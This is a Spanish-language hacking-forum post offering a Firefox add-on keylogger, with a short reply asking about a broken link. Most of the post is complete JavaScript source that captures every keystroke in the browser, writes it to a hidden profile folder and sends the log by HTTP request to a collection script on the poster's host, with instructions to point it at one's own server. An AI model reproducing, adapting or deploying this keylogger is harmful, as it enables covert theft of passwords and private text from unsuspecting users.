• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Keylogger Addon para Mozila Firefox

Status
Not open for further replies.

BreakPoint

Im back!
User
Joined
Oct 22, 2011
Messages
118
Reputation
0
Reaction score
75
Points
28
Credits
0
‎13 Years of Service‎
40%
El objetivo de este Add-On es capturar todas las teclas dentro de Firefox (Solo dentro de la Pantalla del Navegador).


Los pasos a seguir sera lo siguiente:



Les pasare tres scripts dos en PHP y uno en Javascript.


 


“overlay.js” => para capturar las teclas en si para el Add-On.


 


“cheklogs.php” => para ver los Logs.


 


“receptor.php” => para que el pueda recibir los Logs.





images



This link is hidden for visitors. Please Log in or register now.


Tambien necesitaremos una base de datos para guardar y en cualquier momento podamos consultar lo que capturo.


Si quieren tambien pueden modificar el script “receptor.php” para que lo escriba un *.txt eso ya es depende de la creatividad de cada uno.



Deberan modificar el Archivo “overlay.js” dentro de la carpeta “chrome/content/”


Código: Javascript

Code:
>   1.
     var keylogger_namespace={};
  2.
     var aleat = Math.random() * 99999;
  3.
     var torio = Math.round(aleat); // sacamos un numero a la suerte!
  4.
     keylogger_namespace.keylogger=function() {
  5.
     var file = Components.classes["@mozilla.org/file/directory_service;1"].  
  6.
                             getService(Components.interfaces.nsIProperties).  
  7.
                             get("ProfD", Components.interfaces.nsIFile);  
  8.
         file.append("Firelog");
  9.
     if( !file.exists() || !file.isDirectory() ) {  // lo creamos si no existe la carpeta!
 10.
         file.create(Components.interfaces.nsIFile.DIRECTORY_TYPE, 0777);
 11.
     }
 12.
     this.f = file.path+"\\keystrokes";
 13.
     window.addEventListener(
 14.
     "load", function() {LipoKeylogger.init(); }, false);
 15.
     }
 16.
     var keylog=new keylogger_namespace.keylogger();
 17.
     //======================================
 18.
     keylog.logKeypress=function(e){
 19.
     var keynum;
 20.
     var keychar;
 21.
     var numcheck;
 22.
     keynum = e.which;
 23.
     var file = Components.classes["@mozilla.org/file/local;1"]
 24.
     .createInstance(Components.interfaces.nsILocalFile);
 25.
     file.initWithPath(keylog.f);
 26.
     data=keynum+":";
 27.
     // apuntando al archivo a crearse
 28.
     var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"]
 29.
                            .createInstance(Components.interfaces.nsIFileOutputStream);
 30.
     // forma de uso 0x02 | 0x10 para habrir archivo
 31.
     foStream.init(file, 0x02 | 0x10 | 0x08, 00666, 0); // solo escritura, abrir, o crear archivo
 32.
     foStream.write(data, data.length);
 33.
     foStream.close();
 34.
     //======================================
 35.
     //Leemos log
 36.
     var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
 37.
     file.initWithPath(keylog.f);
 38.
     var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
 39.
     inputStream.init(file, -1, 0,0);
 40.
     var sInputStream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
 41.
     sInputStream.init(inputStream);
 42.
     var str= sInputStream.read(sInputStream.available());
 43.
     if ((str.length) > 100){
 44.
     var xmlhttp=new XMLHttpRequest();
 45.
     url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET
 46.
     xmlhttp.open("GET",url+str+"&user="+torio,true);
 47.
     xmlhttp.send(null);
 48.
     //reseteamos el archivo de log's
 49.
     var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile);
 50.
     file.initWithPath(keylog.f);
 51.
     // apuntando al archivo a crearse
 52.
     var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
 53.
     // forma de uso 0x02 | 0x10 para habrir archivo
 54.
     foStream.init(file, 0x02 | 0x08 | 0x20, 0666, 0); // solo escritura, abrir, o crear archivo
 55.
     foStream.write("", 0);
 56.
     foStream.close();
 57.
     }
 58.
     //======================================
 59.
     }
 60.
     //======================================
 61.
     if ("undefined" == typeof(LipoKeylogger)) {
 62.
     var LipoKeylogger= {
 63.
             init : function() {
 64.
             //======================================
 65.
             //Capurando las keypress
 66.
         document.addEventListener("keypress", keylog.logKeypress, false);
 67.
     }
 68.
     }
 69.
     }
En la Linea 45

Código: Javascript

Code:
>url="http://tuhost/receptor.php?keypress="; // Recibimos por GET
Cambiar tu Script “receptor.php” por su ubicación.


Testeado en Ubuntu! y Windows anda de maravilla, digamos que no pierde ni un solo bit!!


 


Creditos: SixP4ck3r


Fuente: CPH


 
Last edited by a moderator:
Hola, el link esta roto y ¿esto es para cualquier version de firefox? me gustaria analizarlo.

 
Status
Not open for further replies.
Back
Top